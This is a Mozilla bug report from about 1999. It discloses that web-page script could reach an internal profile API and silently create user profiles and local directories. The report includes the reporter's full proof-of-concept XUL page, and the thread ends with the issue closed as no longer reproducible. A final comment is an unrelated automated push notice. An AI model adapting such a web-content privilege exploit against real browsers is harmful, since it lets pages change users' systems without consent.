10263 - Script may create profiles and local directories

Status: VERIFIED WORKSFORME

(Core :: Security, defect, P3)

Description

[joro]

Mozilla 5.0 M8 Win95 (guess all platforms) allows creating profiles and local
directories without user's knowledge.
For details, examine the XUL code:
-----------------------------prof1.xul-------------------------
<?xml version="1.0"?>
 <!DOCTYPE window>
 <window
   xmlns:html="http://www.w3.org/TR/REC-html40"
   xmlns:xul ="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
   title = "Creating profiles and local directories">
 <html:script>
   <![CDATA[

    // The profile and directory to be created
    var data="ProfileName=guninski%ProfileDir=C:\\guninskix%";

    var profileCore = XPAppCoresManager.Find("ProfileCore");
    if (!profileCore)
    {
		profileCore = new ProfileCore();
		if (profileCore) {
			profileCore.Init("ProfileCore");
		}
		else {
			dump("profile not created\n");
		}
	}

	if (profileCore) {
		profileCore.CreateNewProfile(data);
	}
   ]]>
  </html:script>

<html:h3> This page adds a user profile and creates a directory C:\guninskix.
<html:br>
</html:h3>
</window>
---------------------------------------------------------------

Comment 1

[Norris Boyd]

The XPAppCoresManager shouldn't be accessible from web JavaScript. Is it?

Comment 2

[joro]

It is accessible from web JavaScript.
Check: http://www.nat.bg/~joro/mozilla/prof1.xul
Tested with M8 and build 1999080508

Comment 3

[Norris Boyd]

I now get an error from the XML parser.

Comment 4

[Alec Flett]

Appcores are going away...(and I'm removing them myself since noone else seems
to want to)

I would just mark this invalid.

Comment 5

[joro]

I think this bug is fixed because the new profile manager uses XPConnect instead
of AppCore. Anyway I fixed the XML parser error and the new error is:
"JavaScript Error: ReferenceError: ProfileCore is not defined
"

Comment 6

[Norris Boyd]

Now get the error

JavaScript Error: ReferenceError: ProfileCore is not defined

Comment 7

[John Unruh]

Verified worksforme.

Comment 8

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 9

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/1ce970ddd8ae
[components] Closes https://github.com/mozilla-mobile/android-components/issues/10263: Add Credit Card native name to type mapping.